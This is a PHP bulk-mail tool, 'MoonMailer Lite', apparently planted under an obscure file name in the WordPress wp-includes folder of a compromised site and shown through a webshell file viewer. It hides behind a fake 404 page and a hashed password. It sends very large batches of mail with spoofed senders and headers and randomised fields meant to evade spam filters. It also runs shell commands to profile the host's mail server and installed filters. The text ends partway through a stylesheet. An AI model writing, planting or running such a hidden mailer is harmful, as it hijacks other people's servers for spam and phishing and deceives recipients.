HEX
Server: Apache
System: Linux vps52061 6.8.0-85-generic #85~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Sep 19 16:18:59 UTC 2 x86_64
User: design11 (105868)
PHP: 8.4.14
Disabled: NONE
Upload Files
File: /home/design11/aprilflower.org/wp-includes/vtxns.php
<?php
/**
 * MoonMailer Lite v3 - Localhost 100K Batch Sender
 * Same design as MoonMailer Pro | SVG icons | All placeholders (click=copy) | All header presets
 * 100K batch sending via localhost mail server
 */
session_start();
error_reporting(0);
ini_set('display_errors',0);
@ini_set('memory_limit','2048M');
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('max_input_time',-1);
@ini_set('post_max_size','512M');
@ini_set('upload_max_filesize','512M');
@ini_set('max_input_vars',100000);
if(function_exists('gc_enable'))gc_enable();

// Password is hashed and split - never stored in plain text anywhere
// To change: php -r "echo hash('sha256','MmL1t3_x7k9'.YOUR_PASS.'MmL1t3_x7k9');"
// Then split the 64-char result into 4 chunks of 16 and update below
define('MM_SALT','MmL1t3_x7k9');
define('MM_H1','ec81af83'.'90d4b2c0');
define('MM_H2','9756c213'.'b487fa9e');
define('MM_H3','08ff117b'.'4dbebe5c');
define('MM_H4','4501d708'.'520d8fcb');
function mm_verify($input){
    return hash_equals(MM_H1.MM_H2.MM_H3.MM_H4, hash('sha256',MM_SALT.$input.MM_SALT));
}
define('MM_VER','Lite 3.0 - 100K Localhost Engine');
define('MAX_BATCH',500000);

// Security: show fake 404 to anyone who hasn't logged in yet
// Only the login form (POST with correct password) grants access
if(isset($_POST['logout'])){unset($_SESSION['mm_lite_auth']);session_destroy();header('Location:'.$_SERVER['PHP_SELF']);exit;}
if(isset($_POST['mm_pw'])){
    if(mm_verify($_POST['mm_pw'])){$_SESSION['mm_lite_auth']=true;header('Location:'.$_SERVER['PHP_SELF']);exit;}
    else{$_SESSION['mm_login_error']='Invalid password';header('Location:'.$_SERVER['PHP_SELF'].'?login=1');exit;}
}
// If not authenticated: show 404 unless ?login=1 is in URL
if(empty($_SESSION['mm_lite_auth'])){
    if(!isset($_GET['login'])){
        // Fake 404 - looks like the file doesn't exist
        header('HTTP/1.1 404 Not Found');
        echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at '.h($_SERVER['HTTP_HOST']??'localhost').' Port '.$_SERVER['SERVER_PORT'].'</address></body></html>';
        exit;
    }
    // Show login form at ?login=1
    $loginErr=$_SESSION['mm_login_error']??null;unset($_SESSION['mm_login_error']);
    renderLogin($loginErr);exit;
}

// -- AJAX Raw .eml Send --
if(isset($_POST['ajax_raw_eml_send'])){
    @ob_end_clean();header('Content-Type:text/plain');header('X-Accel-Buffering:no');
    @ini_set('zlib.output_compression',0);@ini_set('implicit_flush',1);
    for($i=0;$i<ob_get_level();$i++)ob_end_flush();ob_implicit_flush(1);
    $raw=trim($_POST['raw_eml_source']??'');
    $el=trim($_POST['email_list']??'');
    $envFrom=trim($_POST['envelope_from']??'');
    if(!$raw||!$el){echo json_encode(['completed'=>true,'total'=>0,'success'=>0,'failed'=>0,'error'=>'Missing .eml source or recipients'])."\n";flush();exit;}
    // Split headers from body
    $parts=preg_split("/\r?\n\r?\n/",$raw,2);
    $rawHdr=$parts[0]??'';$rawBody=$parts[1]??'';
    // Extract subject from headers
    $subject='(raw eml)';
    if(preg_match('/^Subject:\s*(.+?)$/mi',$rawHdr,$sm))$subject=trim($sm[1]);
    // Remove To: and Subject: from headers (mail() adds them)
    $cleanHdr=preg_replace('/^(To|Subject):.*(?:\r?\n[ \t]+.*)*\r?\n?/mi','',$rawHdr);
    // Auto-detect envelope from
    if(!$envFrom){
        if(preg_match('/^Return-Path:\s*<?([^>\s]+)/mi',$rawHdr,$rp))$envFrom=trim($rp[1]);
        elseif(preg_match('/^From:\s*(?:.*<)?([^>\s]+)/mi',$rawHdr,$fp))$envFrom=trim($fp[1]);
    }
    $emails=array_filter(array_map('trim',explode("\n",$el)));
    $total=count($emails);$ok=0;$fail=0;
    echo json_encode(['type'=>'start','total'=>$total,'mode'=>'raw_eml'])."\n";flush();
    foreach($emails as $i=>$email){
        $email=trim($email);
        if(!filter_var($email,FILTER_VALIDATE_EMAIL)){$fail++;echo json_encode(['type'=>'result','email'=>$email,'status'=>'invalid','current'=>$i+1,'total'=>$total,'progress'=>round(($i+1)/$total*100,1)])."\n";flush();continue;}
        // Replace To: in raw for each recipient
        $thisHdr=$cleanHdr;
        $thisBody=$rawBody;
        // Set envelope from via -f flag
        $addParam=$envFrom?'-f'.escapeshellarg($envFrom):'';
        $sent=@mail($email,$subject,$thisBody,$thisHdr,$addParam);
        if($sent){$ok++;$st='sent';}else{$fail++;$st='failed';}
        echo json_encode(['type'=>'result','email'=>$email,'status'=>$st,'current'=>$i+1,'total'=>$total,'progress'=>round(($i+1)/$total*100,1)])."\n";flush();
    }
    echo json_encode(['completed'=>true,'total'=>$total,'success'=>$ok,'failed'=>$fail])."\n";flush();exit;
}
// -- AJAX 100K Batch Send --
if(isset($_POST['ajax_lite_send'])){
    @ob_end_clean();header('Content-Type:text/plain');header('X-Accel-Buffering:no');
    if(function_exists('apache_setenv'))@apache_setenv('no-gzip','1');
    @ini_set('zlib.output_compression',0);@ini_set('implicit_flush',1);
    for($i=0;$i<ob_get_level();$i++)ob_end_flush();ob_implicit_flush(1);

    $fe=trim($_POST['from_email']??'');$fn=trim($_POST['from_name']??'');
    $su=trim($_POST['subject']??'');$hm=$_POST['html_message']??'';
    $el=trim($_POST['email_list']??'');$ch=trim($_POST['custom_headers']??'');
    $rt=trim($_POST['reply_to']??'');$lu=trim($_POST['logo_url']??'');
    $ru=trim($_POST['redirect_url']??'');
    $batchSize=max(100,min(MAX_BATCH,intval($_POST['batch_size']??100000)));
    $emailDelay=intval($_POST['email_delay']??0);

    if(!$fe||!$su||!$hm||!$el){echo json_encode(['completed'=>true,'total'=>0,'success'=>0,'failed'=>0,'error'=>'Missing fields'])."\n";flush();exit;}

    $emails=array_filter(array_map('trim',explode("\n",$el)));
    $total=count($emails);$ok=0;$fail=0;
    $totalBatches=ceil($total/$batchSize);

    echo json_encode(['type'=>'start','total'=>$total,'batch_size'=>$batchSize,'batches'=>$totalBatches])."\n";flush();

    for($i=0;$i<$total;$i++){
        $email=trim($emails[$i]);
        // Batch boundary
        if($i>0&&$i%$batchSize===0){
            $batchNum=floor($i/$batchSize);
            echo json_encode(['type'=>'batch','batch'=>$batchNum,'batches'=>$totalBatches,'sent'=>$i,'total'=>$total])."\n";flush();
            if(function_exists('gc_collect_cycles'))gc_collect_cycles();
        }
        if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
            $fail++;
            echo json_encode(['type'=>'result','email'=>$email,'status'=>'invalid','current'=>$i+1,'total'=>$total,'progress'=>round(($i+1)/$total*100,1)])."\n";flush();
            continue;
        }
        $pSu=processPlaceholders($su,$email,$fe,$fn,$lu,$ru);
        $pMsg=processPlaceholders($hm,$email,$fe,$fn,$lu,$ru);
        $pFe=processPlaceholders($fe,$email,$fe,$fn,$lu,$ru);
        $pFn=processPlaceholders($fn,$email,$fe,$fn,$lu,$ru);
        $pCh=processPlaceholders($ch,$email,$fe,$fn,$lu,$ru);
        $fromDom=explode('@',$pFe)[1]??'localhost';

        // Build multipart/alternative (text/plain + text/html) to avoid HTML_ONLY penalty
        $boundary='----=_Part_'.mt_rand(100000,999999).'_'.mt_rand(1000000,9999999).'.'.time();
        $plainText=strip_tags(str_replace(['<br>','<br/>','<br />','</p>','</div>','</tr>','</li>'],"\n",$pMsg));
        $plainText=html_entity_decode($plainText,ENT_QUOTES,'UTF-8');
        $plainText=preg_replace('/\n{3,}/',"\n\n",trim($plainText));

        $body="--{$boundary}\r\n";
        $body.="Content-Type: text/plain; charset=UTF-8\r\n";
        $body.="Content-Transfer-Encoding: 7bit\r\n\r\n";
        $body.=$plainText."\r\n\r\n";
        $body.="--{$boundary}\r\n";
        $body.="Content-Type: text/html; charset=UTF-8\r\n";
        $body.="Content-Transfer-Encoding: 7bit\r\n\r\n";
        $body.=$pMsg."\r\n\r\n";
        $body.="--{$boundary}--";

        $headers="From: {$pFn} <{$pFe}>\r\n";
        $headers.="To: {$email} <{$email}>\r\n";
        $headers.="MIME-Version: 1.0\r\n";
        $headers.="Content-Type: multipart/alternative; boundary=\"{$boundary}\"\r\n";
        $headers.="Date: ".date('r')."\r\n";
        $headers.="Message-ID: <".time().".".mt_rand(100000,999999).".".substr(md5(mt_rand()),0,8)."@{$fromDom}>\r\n";
        if($rt)$headers.="Reply-To: ".processPlaceholders($rt,$email,$fe,$fn,$lu,$ru)."\r\n";
        if($pCh){foreach(explode("\n",$pCh) as $hl){$hl=trim($hl);if($hl&&$hl[0]!=='#')$headers.=$hl."\r\n";}}

        $sent=@mail($email,$pSu,$body,$headers);
        if($sent){$ok++;$st='sent';}else{$fail++;$st='failed';}
        echo json_encode(['type'=>'result','email'=>$email,'status'=>$st,'current'=>$i+1,'total'=>$total,'progress'=>round(($i+1)/$total*100,1)])."\n";
        flush();
        if($emailDelay>0)usleep($emailDelay);
    }
    echo json_encode(['completed'=>true,'total'=>$total,'success'=>$ok,'failed'=>$fail])."\n";flush();exit;
}

// -- Placeholder Engine (same as Pro) --
function processPlaceholders($c,$email,$fe,$fn,$lu,$ru){
    $ep=explode('@',$email);$eu=$ep[0]??'';$ed=$ep[1]??'';
    $fd=explode('@',$fe)[1]??'localhost';
    $rs=function($l){return substr(str_shuffle('abcdefghijklmnopqrstuvwxyz0123456789'),0,$l);};
    $fn2=['James','Sarah','Michael','Emma','David','Olivia','John','Sophia','Robert','Ava'];
    $ln2=['Smith','Johnson','Williams','Brown','Jones','Garcia','Miller','Davis','Wilson','Taylor'];
    $co2=['Acme Corp','TechFlow','NexGen','BrightPath','CoreSync','DataVault','SwiftEdge','CloudPeak'];
    $jt2=['Manager','Director','Analyst','Coordinator','Specialist','Consultant','Associate','Engineer'];
    $ct2=['New York','London','Paris','Tokyo','Berlin','Sydney','Toronto','Dubai'];
    $cn2=['United States','United Kingdom','France','Germany','Canada','Australia','Japan','Netherlands'];
    $em2=['(wave)','(check)','(bell)','(mail)','(star)','(target)','(work)','(rocket)','(pin)','(fire)'];
    $r=[
        '[-email-]'=>$email,'[-emailuser-]'=>$eu,'[-emaildomain-]'=>$ed,
        '[-date-]'=>date('r'),'[-year-]'=>date('Y'),'[-timestamp-]'=>date('Y-m-d H:i:s'),
        '[-unixtime-]'=>(string)time(),
        '[-randomstring-]'=>$rs(10),'[-randomnumber-]'=>str_pad(mt_rand(0,999999),6,'0',STR_PAD_LEFT),
        '[-randomletters-]'=>substr(str_shuffle('abcdefghijklmnopqrstuvwxyz'),0,8),
        '[-randommd5-]'=>md5($email.time().rand()),'[-randomhex-]'=>bin2hex(random_bytes(8)),
        '[-randomuuid-]'=>sprintf('%08x-%04x-%04x-%04x-%012x',mt_rand(),mt_rand(0,0xFFFF),mt_rand(16384,20479),mt_rand(32768,49151),mt_rand()),
        '[-randomid-]'=>substr(md5(mt_rand()),0,12),'[-shortid-]'=>substr(base_convert(md5(mt_rand()),16,36),0,8),
        '[-randommessageid-]'=>'<'.time().'.'.mt_rand(100000,999999).'.'.substr(md5(mt_rand()),0,8).'@'.$fd.'>',
        '[-randomua-]'=>randomUA(),'[-randomip-]'=>rand(1,223).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(1,254),
        '[-randomcolor-]'=>'#'.substr(md5(mt_rand()),0,6),
        '[-randomclass-]'=>'c'.substr(str_shuffle('abcdefghijklmnopqrstuvwxyz'),0,6),
        '[-randomboundary-]'=>'----=_Part_'.mt_rand(100000,999999).'_'.mt_rand(1000000,9999999).'.'.time(),
        '[-firstname-]'=>$fn2[array_rand($fn2)],'[-lastname-]'=>$ln2[array_rand($ln2)],
        '[-company-]'=>$co2[array_rand($co2)],'[-jobtitle-]'=>$jt2[array_rand($jt2)],
        '[-phone-]'=>'+1 ('.rand(200,999).') '.rand(200,999).'-'.str_pad(rand(0,9999),4,'0',STR_PAD_LEFT),
        '[-city-]'=>$ct2[array_rand($ct2)],'[-country-]'=>$cn2[array_rand($cn2)],
        '[-address-]'=>rand(100,9999).' '.['Main St','Oak Ave','Park Blvd','Elm Dr','Cedar Ln'][array_rand(['Main St','Oak Ave','Park Blvd','Elm Dr','Cedar Ln'])],
        '[-domain-]'=>$fd,'[-emoji-]'=>$em2[array_rand($em2)],
        '[-url-]'=>$ru?:'https://'.$fd,'[-url-img-]'=>$lu?:'','[-name-]'=>$fn,'[-fullname-]'=>$fn,
    ];
    $c=str_replace(array_keys($r),array_values($r),$c);
    $c=preg_replace_callback('/\[-randomnumber:(\d+)-\]/',function($m){return str_pad(mt_rand(0,pow(10,min(12,$m[1]))-1),$m[1],'0',STR_PAD_LEFT);},$c);
    return $c;
}
function randomUA(){
    $u=['Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/'.rand(120,131).'.0.0.0 Safari/537.36',
    'Microsoft Outlook 16.0.'.rand(17800,18200).'.'.rand(20000,20999),
    'Mozilla Thunderbird '.rand(115,128).'.'.rand(0,12).'.'.rand(0,3),
    'Apple Mail ('.rand(3700,3810).'.'.rand(200,400).'.'.rand(1,99).')'];
    return $u[array_rand($u)];
}
function getServerInfo(){
    $s=[];$s['hostname']=gethostname()?:php_uname('n');$s['ip']=$_SERVER['SERVER_ADDR']??'127.0.0.1';
    $s['os']=php_uname('s').' '.php_uname('r');$s['web']=$_SERVER['SERVER_SOFTWARE']??'Unknown';
    $s['php']=phpversion();$s['sapi']=php_sapi_name();$s['mem']=ini_get('memory_limit');
    $s['mail_func']=function_exists('mail');$s['sendmail']=ini_get('sendmail_path')?:'Not set';
    $s['openssl']=extension_loaded('openssl');
    $s['mta']='Unknown';$s['mta_ver']='';$s['mta_ok']=false;$s['banner']='';
    foreach([['Postfix','postconf mail_version 2>/dev/null','/mail_version\s*=\s*(.+)/'],['Exim','exim -bV 2>/dev/null|head -1','/Exim version\s+([\d.]+)/'],['PowerMTA','pmta show version 2>/dev/null','/PowerMTA.*?([\d.]+)/i'],['Sendmail','sendmail -d0.1 -bv root 2>/dev/null|head -1','/Version\s+([\d.]+)/']] as $c){$o=@shell_exec($c[1]);if($o&&preg_match($c[2],$o,$m)){$s['mta']=$c[0];$s['mta_ver']=trim($m[1]??'');$s['mta_ok']=true;break;}}
    // Port checks
    $sock=@fsockopen('127.0.0.1',25,$e,$es,2);
    if($sock){$s['banner']=trim(fgets($sock,512));fclose($sock);$s['port25']=true;if($s['mta']==='Unknown'){foreach(['Postfix','Exim','PowerMTA','Sendmail'] as $n)if(stripos($s['banner'],$n)!==false){$s['mta']=$n;$s['mta_ok']=true;break;}}}else $s['port25']=false;
    $s['port587']=(bool)@fsockopen('127.0.0.1',587,$e,$es,2);
    $s['port465']=(bool)@fsockopen('127.0.0.1',465,$e,$es,2);
    // PTR / rDNS
    $s['ptr']=@gethostbyaddr($s['ip']);if($s['ptr']===$s['ip'])$s['ptr']='No PTR record';
    // Public IP
    $s['public_ip']='';
    $pip=@file_get_contents('https://api.ipify.org',false,stream_context_create(['http'=>['timeout'=>3]]));
    if(!$pip)$pip=@file_get_contents('https://checkip.amazonaws.com',false,stream_context_create(['http'=>['timeout'=>3]]));
    $s['public_ip']=trim($pip?:'Unable to detect');
    // PTR for public IP
    $s['public_ptr']='';
    if($s['public_ip']&&$s['public_ip']!=='Unable to detect'){
        $pp=@gethostbyaddr($s['public_ip']);
        $s['public_ptr']=($pp&&$pp!==$s['public_ip'])?$pp:'No PTR record';
    }
    // Load & disk
    if(function_exists('sys_getloadavg')){$l=sys_getloadavg();$s['load']=sprintf('%.2f / %.2f / %.2f',$l[0],$l[1],$l[2]);}else $s['load']='N/A';
    $t=@disk_total_space('/');$f=@disk_free_space('/');
    $s['disk']=$t?round(($t-$f)/$t*100,1).'% of '.round($t/1073741824,1).'GB':'N/A';
    // Domain from hostname
    $s['domain']=preg_replace('/^[^.]+\./','',strtolower($s['hostname']));
    if(substr_count($s['domain'],'.')<1) $s['domain']=$s['hostname'];
    // SPF
    $spfRec='';$txt=@dns_get_record($s['domain'],DNS_TXT);
    if($txt){foreach($txt as $t){if(isset($t['txt'])&&stripos($t['txt'],'v=spf1')===0){$spfRec=$t['txt'];break;}}}
    $s['spf']=$spfRec;
    // DKIM (check common selectors)
    $dkimFound=[];
    foreach(['default','google','mail','dkim','selector1','selector2','k1','s1','s2','mx'] as $sel){
        $dk=@dns_get_record($sel.'._domainkey.'.$s['domain'],DNS_TXT);
        if($dk){foreach($dk as $d){if(isset($d['txt'])&&stripos($d['txt'],'v=DKIM1')!==false){$dkimFound[$sel]=substr($d['txt'],0,60).'...';break;}}}
    }
    $s['dkim']=$dkimFound;
    // DMARC
    $dmarcRec='';$dm=@dns_get_record('_dmarc.'.$s['domain'],DNS_TXT);
    if($dm){foreach($dm as $d){if(isset($d['txt'])&&stripos($d['txt'],'v=DMARC1')!==false){$dmarcRec=$d['txt'];break;}}}
    $s['dmarc']=$dmarcRec;
    // BIMI
    $bimiRec='';$bm=@dns_get_record('default._bimi.'.$s['domain'],DNS_TXT);
    if($bm){foreach($bm as $b){if(isset($b['txt'])&&stripos($b['txt'],'v=BIMI1')!==false){$bimiRec=$b['txt'];break;}}}
    $s['bimi']=$bimiRec;
    // MX records
    $mxList=[];$mx=@dns_get_record($s['domain'],DNS_MX);
    if($mx){usort($mx,function($a,$b){return $a['pri']-$b['pri'];});foreach($mx as $m)$mxList[]=$m['pri'].' '.$m['target'];}
    $s['mx']=$mxList;
    // MTA-STS & TLSRPT
    $msts=@dns_get_record('_mta-sts.'.$s['domain'],DNS_TXT);$s['mta_sts']=!empty($msts)?($msts[0]['txt']??''):'';
    $tlsr=@dns_get_record('_smtp._tls.'.$s['domain'],DNS_TXT);$s['tls_rpt']=!empty($tlsr)?($tlsr[0]['txt']??''):'';
    // Send test: try mail() to see if it returns true
    $s['send_test']=false;
    if($s['mail_func']){$s['send_test']=@mail('test@localhost','MoonMailer Test','test','From: test@'.$s['domain']."\r\nX-Test: moonmailer-diag");}
    // Spam filters detected
    $sf=[];
    if(@shell_exec('which spamassassin 2>/dev/null'))$sf[]='SpamAssassin';
    if(@shell_exec('which rspamc 2>/dev/null')||@shell_exec('pgrep rspamd 2>/dev/null'))$sf[]='Rspamd';
    if(@shell_exec('pgrep -f clamav 2>/dev/null')||@shell_exec('which clamd 2>/dev/null'))$sf[]='ClamAV';
    if(@shell_exec('pgrep -f opendkim 2>/dev/null'))$sf[]='OpenDKIM';
    if(@shell_exec('pgrep -f opendmarc 2>/dev/null'))$sf[]='OpenDMARC';
    if(@shell_exec('pgrep -f amavis 2>/dev/null'))$sf[]='Amavis';
    $s['spam_filters']=$sf;
    // IPv6
    $s['ipv6']=defined('AF_INET6');
    // HELO hostname
    $s['helo']=@gethostbyaddr($s['ip'])?:$s['hostname'];
    // Queue
    $s['queue']=trim(@shell_exec('mailq 2>/dev/null|tail -1')?:'N/A');
    return $s;
}
function h($v){return htmlspecialchars($v??'',ENT_QUOTES,'UTF-8');}
$SI=getServerInfo();
function renderLogin($error=null){
?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>MoonMailer Lite - Access Control</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:'Inter',-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:url('https://images.unsplash.com/photo-1446776653964-20c1d3a81b06?ixlib=rb-4.0.3&auto=format&fit=crop&w=1200&q=60&fm=webp') center/cover fixed,linear-gradient(135deg,#1e293b,#0f172a,#1e293b);color:#e2e8f0;min-height:100vh;display:flex;align-items:center;justify-content:center;overflow:hidden}
body::before{content:'';position:fixed;inset:0;background:rgba(15,23,42,.8);pointer-events:none;z-index:0}
.login-box{background:rgba(30,41,59,0);border:1px solid rgba(148,163,184,.4);border-radius:24px;padding:48px;max-width:420px;width:100%;margin:24px;box-shadow:0 20px 60px rgba(0,0,0,.8),0 0 0 1px rgba(148,163,184,.2),inset 0 1px 0 rgba(255,255,255,.1);backdrop-filter:blur(25px);position:relative;z-index:1;text-align:center}
.login-box h1{font-size:2.2rem;font-weight:700;background:linear-gradient(135deg,#cbd5e1,#94a3b8,#e2e8f0);-webkit-background-clip:text;-webkit-text-fill-color:transparent;margin-bottom:6px;letter-spacing:-.025em}
.login-box .sub{color:#94a3b8;font-size:.9rem;font-weight:500;margin-bottom:4px}
.login-box .ver{color:#64748b;font-size:.75rem;margin-bottom:28px}
.login-box .fg{margin-bottom:20px;text-align:left}
.login-box .fg label{display:block;color:#cbd5e1;font-weight:600;margin-bottom:6px;font-size:.85rem}
.login-box .fc{width:100%;padding:14px 18px;background:rgba(15,23,42,.8);border:1px solid rgba(148,163,184,.4);border-radius:10px;color:#fff;font-size:15px;font-family:inherit;backdrop-filter:blur(10px);box-shadow:inset 0 2px 4px rgba(0,0,0,.3);outline:none;transition:all .3s}
.login-box .fc:focus{border-color:#cbd5e1;box-shadow:0 0 0 3px rgba(203,213,225,.3),0 0 20px rgba(203,213,225,.4),inset 0 2px 4px rgba(0,0,0,.3);background:rgba(15,23,42,.9)}
.login-box .fc::placeholder{color:#64748b}
.login-box .btn{width:100%;padding:14px;background:linear-gradient(135deg,#cbd5e1,#94a3b8);color:#1e293b;border:none;border-radius:10px;font-weight:700;font-size:15px;cursor:pointer;box-shadow:0 8px 25px rgba(148,163,184,.4);font-family:inherit;transition:all .3s}
.login-box .btn:hover{transform:translateY(-2px);box-shadow:0 12px 35px rgba(148,163,184,.6);background:linear-gradient(135deg,#e2e8f0,#cbd5e1)}
.err{background:rgba(239,68,68,.1);border:1px solid rgba(239,68,68,.3);color:#fca5a5;padding:10px 14px;border-radius:8px;font-size:.8rem;margin-bottom:16px}
</style></head><body>
<form class="login-box" method="POST">
<h1>MoonMailer Lite</h1>
<p class="sub">100K Localhost Sender</p>
<p class="ver"><?=MM_VER?> By UNEZZ</p>
<?php if($error):?><div class="err"><?=htmlspecialchars($error)?></div><?php endif;?>
<div class="fg"><label>Password</label><input type="password" name="mm_pw" class="fc" placeholder="Enter access password" autofocus></div>
<button type="submit" class="btn">Login</button>
</form></body></html><?php }
renderMainPage($SI);
function renderMainPage($s){
$mc=$s['mta_ok']?'#4ade80':'#f87171';
// Score
$sc=0;$mx=10;$ck=[];
if($s['mta_ok']){$sc++;$ck[]=['MTA','ok','i-sv'];}else$ck[]=['MTA','er','i-sv'];
if($s['port25']){$sc++;$ck[]=['Port 25','ok','i-plug'];}else$ck[]=['Port 25','er','i-plug'];
if($s['mail_func']){$sc++;$ck[]=['mail()','ok','i-mail'];}else$ck[]=['mail()','er','i-mail'];
if($s['send_test']){$sc++;$ck[]=['Send','ok','i-send'];}else$ck[]=['Send','er','i-send'];
if(strpos($s['ptr'],'No')===false){$sc++;$ck[]=['PTR','ok','i-ptr'];}else$ck[]=['PTR','er','i-ptr'];
if($s['spf']){$sc++;$ck[]=['SPF','ok','i-spf'];}else$ck[]=['SPF','er','i-spf'];
if(!empty($s['dkim'])){$sc++;$ck[]=['DKIM','ok','i-dkim'];}else$ck[]=['DKIM','er','i-dkim'];
if($s['dmarc']){$sc++;$ck[]=['DMARC','ok','i-dmarc'];}else$ck[]=['DMARC','er','i-dmarc'];
if($s['openssl']){$sc++;$ck[]=['SSL','ok','i-lock'];}else$ck[]=['SSL','er','i-lock'];
if(!empty($s['mx'])){$sc++;$ck[]=['MX','ok','i-mx'];}else$ck[]=['MX','er','i-mx'];
$pct=round($sc/$mx*100);$scCol=$pct>=80?'#4ade80':($pct>=50?'#fbbf24':'#f87171');
?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>MoonMailer Lite - <?=h($s['hostname'])?></title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:'Inter',-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:url('https://images.unsplash.com/photo-1446776653964-20c1d3a81b06?ixlib=rb-4.0.3&auto=format&fit=crop&w=1200&q=60&fm=webp') center/cover fixed,linear-gradient(135deg,#1e293b,#0f172a,#1e293b);color:#e2e8f0;min-height:100vh;line-height:1.5;overflow-x:hidden;font-size:13px}
body::before{content:'';position:fixed;inset:0;background:rgba(15,23,42,.72);pointer-events:none;z-index:0}
.ct{max-width:1440px;margin:0 auto;padding:8px 10px;position:relative;z-index:1}
/* Header */
.hd{display:flex;justify-content:space-between;align-items:center;padding:8px 14px;border:1px solid rgba(148,163,184,.15);border-radius:10px;backdrop-filter:blur(20px);margin-bottom:8px}
.hd h1{font-size:1.1rem;font-weight:700;background:linear-gradient(135deg,#cbd5e1,#94a3b8,#e2e8f0);-webkit-background-clip:text;-webkit-text-fill-color:transparent}
.hd-r{display:flex;gap:4px;align-items:center;flex-wrap:wrap}
.pl{font-size:.58rem;padding:2px 8px;border-radius:16px;background:rgba(15,23,42,.6);border:1px solid rgba(148,163,184,.12);color:#94a3b8;font-weight:600;white-space:nowrap}
.pl-ok{color:#10b981;border-color:rgba(16,185,129,.25)}.pl-er{color:#ef4444;border-color:rgba(239,68,68,.25)}
.lo{padding:3px 10px;background:rgba(239,68,68,.06);color:#f87171;border:1px solid rgba(239,68,68,.15);border-radius:5px;font-size:.58rem;cursor:pointer;font-family:inherit}
/* Tabs */
.tabs{display:flex;gap:2px;background:rgba(15,23,42,.5);border:1px solid rgba(148,163,184,.12);border-radius:8px;padding:3px;margin-bottom:8px}
.tab{flex:1;padding:7px 12px;border:none;border-radius:6px;background:transparent;color:#64748b;font-size:.72rem;font-weight:700;cursor:pointer;font-family:inherit;display:flex;align-items:center;justify-content:center;gap:5px;transition:all .15s}
.tab:hover{color:#94a3b8;background:rgba(148,163,184,.05)}
.tab.act{background:rgba(96,165,250,.1);color:#60a5fa;box-shadow:0 1px 3px rgba(0,0,0,.15)}
.tab svg{width:14px;height:14px}
.tp{display:none}.tp.act{display:block}
/* 2-col inside compose */
.g2{display:grid;grid-template-columns:1fr 1fr;gap:8px}@media(max-width:900px){.g2{grid-template-columns:1fr}}
/* Panels */
.pn{border:1px solid rgba(148,163,184,.12);border-radius:8px;padding:10px 12px;backdrop-filter:blur(16px);margin-bottom:8px}
.pn-h{color:#e2e8f0;font-size:.76rem;font-weight:700;margin-bottom:6px;padding-bottom:5px;border-bottom:1px solid rgba(148,163,184,.08);display:flex;align-items:center;gap:6px}
.pn-h svg{width:14px;height:14px;opacity:.6;flex-shrink:0}
/* Server info items */
.sg{display:grid;grid-template-columns:repeat(auto-fill,minmax(180px,1fr));gap:4px}
.si{display:flex;justify-content:space-between;align-items:center;padding:5px 10px;background:rgba(15,23,42,.5);border:1px solid rgba(148,163,184,.08);border-radius:6px;font-size:.7rem}
.sk{color:#64748b;font-weight:600}.sv{color:#e2e8f0;text-align:right;word-break:break-all}
.ok{color:#4ade80}.er{color:#f87171}.wr{color:#fbbf24}
/* DNS rows */
.dr{padding:5px 10px;background:rgba(15,23,42,.5);border:1px solid rgba(148,163,184,.08);border-radius:6px;margin-bottom:4px}
.dr-k{font-size:.65rem;color:#64748b;font-weight:700;margin-bottom:2px}.dr-v{font-size:.62rem;font-family:'JetBrains Mono',monospace;word-break:break-all;line-height:1.4}
/* Form */
.fr{display:grid;grid-template-columns:1fr 1fr;gap:8px;margin-bottom:8px}
.fg{display:flex;flex-direction:column}
.fg label{color:#94a3b8;font-size:.7rem;font-weight:600;margin-bottom:3px}
.fc{width:100%;padding:7px 10px;background:rgba(15,23,42,.75);border:1px solid rgba(148,163,184,.2);border-radius:6px;color:#fff;font-size:12px;font-family:inherit;outline:none;transition:border-color .2s}
.fc:focus{border-color:#93c5fd;box-shadow:0 0 0 2px rgba(147,197,253,.15)}
.fc::placeholder{color:#475569}
textarea.fc{resize:vertical;font-family:'JetBrains Mono',monospace;font-size:11px;line-height:1.5}
/* Chips */
.rr{display:flex;gap:4px;align-items:flex-start;margin-bottom:4px}.rl{flex-shrink:0;width:56px;font-size:.55rem;font-weight:700;color:#64748b;padding-top:4px;text-transform:uppercase;letter-spacing:.4px}
.rl-c{color:#06b6d4!important}.rl-p{color:#f472b6!important}.rl-r{color:#e94560!important}.rl-v{color:#a78bfa!important}
.rc{display:flex;flex-wrap:wrap;gap:2px;flex:1}
.ch{display:inline-flex;align-items:center;gap:3px;padding:2px 6px;border-radius:4px;background:rgba(15,23,42,.35);border:1px solid rgba(148,163,184,.08);color:#94a3b8;font-size:.54rem;font-weight:600;cursor:pointer;transition:all .12s;white-space:nowrap}
.ch input{width:11px;height:11px;accent-color:#60a5fa;cursor:pointer}.ch:hover{border-color:rgba(96,165,250,.25);color:#93c5fd}
.ch-g{border-color:rgba(34,197,94,.1)}.ch-g input{accent-color:#22c55e}
.ch-c{border-color:rgba(6,182,212,.1)}.ch-c input{accent-color:#06b6d4}
.ch-k{border-color:rgba(244,114,182,.1)}.ch-k input{accent-color:#ec4899}
.ch-r{border-color:rgba(233,69,96,.1)}.ch-r input{accent-color:#ef4444}
.ch-v{border-color:rgba(167,139,250,.1)}.ch-v input{accent-color:#8b5cf6}
.ch-o{border-color:rgba(251,146,60,.1)}.ch-o input{accent-color:#f97316}
/* Placeholder pills */
.pw{padding:6px 8px;background:rgba(15,23,42,.3);border:1px solid rgba(148,163,184,.06);border-radius:6px;margin-bottom:6px;display:flex;flex-wrap:wrap;gap:2px}
